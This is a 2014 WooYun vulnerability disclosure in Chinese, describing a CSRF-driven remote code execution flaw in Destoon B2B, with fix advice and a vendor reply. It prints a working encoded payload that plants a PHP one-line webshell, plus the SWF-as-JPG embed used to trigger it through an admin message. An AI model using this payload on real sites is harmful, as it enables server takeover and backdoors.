当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(23) 关注此漏洞

缺陷编号: WooYun-2014-62435

漏洞标题: Destoon B2B 2014-05-21最新版csrf getshell

相关厂商: DESTOON

漏洞作者: 索马里的海贼

提交时间: 2014-05-27 10:22

公开时间: 2014-08-25 10:24

漏洞类型: 文件上传导致任意代码执行

危害等级: 中

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-27: 细节已通知厂商并且等待厂商处理中
2014-05-29: 厂商已经确认,细节仅向厂商公开
2014-06-01: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-07-23: 细节向核心白帽子及相关领域专家公开
2014-08-02: 细节向普通白帽子公开
2014-08-12: 细节向实习白帽子公开
2014-08-25: 细节向公众公开

简要描述:

上传问题+csrf+后台任意命令执行 = csrf getshell

详细说明:

先说上传问题,自带的fck编辑器没有验证上传图片的合法性,只判断了后缀名。

可以通过上传一个.jpg后缀的swf来进行csrf



然后是后台命令执行

/member/admin/sendmail.inc.php 行151

code 区域
default:
if(isset($send)) {
if(isset($preview) && $preview) {
$content = stripslashes($content);
if($template) {
if($sendtype == 2) {
$emails = explode("\n", $emails);
$email = trim($emails[0]);
} else if($sendtype == 3) {
$emails = explode("\n", file_get(DT_ROOT.'/file/email/'.$mail));
$email = trim($emails[0]);
}
$user = _userinfo($fields, $email);
eval("\$title = \"$title\";"); //eval()+双引号 +可控的$title 妥妥的任意命令执行
$content = ob_template($template, 'mail');
}
echo '<br/><strong>邮件标题:</strong>'.$title.'<br/><br/>';
echo '<strong>邮件正文:</strong><br/><br/>';
echo $content;
exit;
}





漏洞证明:

首先把请求抓出来 精简参数 得到命令执行的最简参数如下

code 区域
moduleid=2
file=sendmail
send=1
preview=1
template=1
title='执行点'



由于是post提交 会触发全局变量检查,所以这里不能使用单引号双引号等,构造POC如下

code 区域
{${assert(chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(39).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(92).chr(39).chr(120).chr(92).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62).chr(39).chr(41).@chr(59))}}



下面来制作一个csrf的swf

3.jpg



注册一个普通用户 登录会员中心

**.**.**.**/member/message.php?rand=93&action=send

给admin发送一个站内信,内容为

code 区域
<embed src="**.**.**.**/file/upload/201405/26/22-00-20-27-3.jpg" allowScriptAccess="always" type="application/x-shockwave-flash"></embed>



4.jpg





管理员登录后台首页会提示有新的站内信(太体贴了)

5.jpg



打开站内信即在web根目录生成1.php一句话 密码x

7.jpg



修复方案:

1、命令执行 非必要别用双引号

2、csrf 后台操作需要加token验referer

3、上传文件不光要检查后缀,文件内容也要查。

版权声明:转载请注明来源 索马里的海贼@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-05-29 11:01

厂商回复:

感谢反馈 我们会尽快修复

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-05-27 16:49 | secgov ( 路人 | Rank:10 漏洞数:3 | 安全审计,漏洞挖掘,WAF. 提醒大家揭露漏洞...)
    0

    一个字,猛

  2. 2014-08-18 15:20 | 廷廷 ( 路人 | Rank:0 漏洞数:1 | 有很强的好奇心,爱好广泛,求女女带走。。...)
    0

    很棒!

  3. 2014-08-25 15:58 | 小坤 ( 路人 | Rank:28 漏洞数:5 | "></input>pt></scr</script>pt src=http:...)
    0

    网站不能访问。

  4. 2015-01-24 10:45 | 蛇精病 ( 路人 | Rank:23 漏洞数:10 | 你连棒棒糖都没有,还谈什么狗屁爱情?)
    0

    一个字,猛

登录后才能发表评论,请先 登录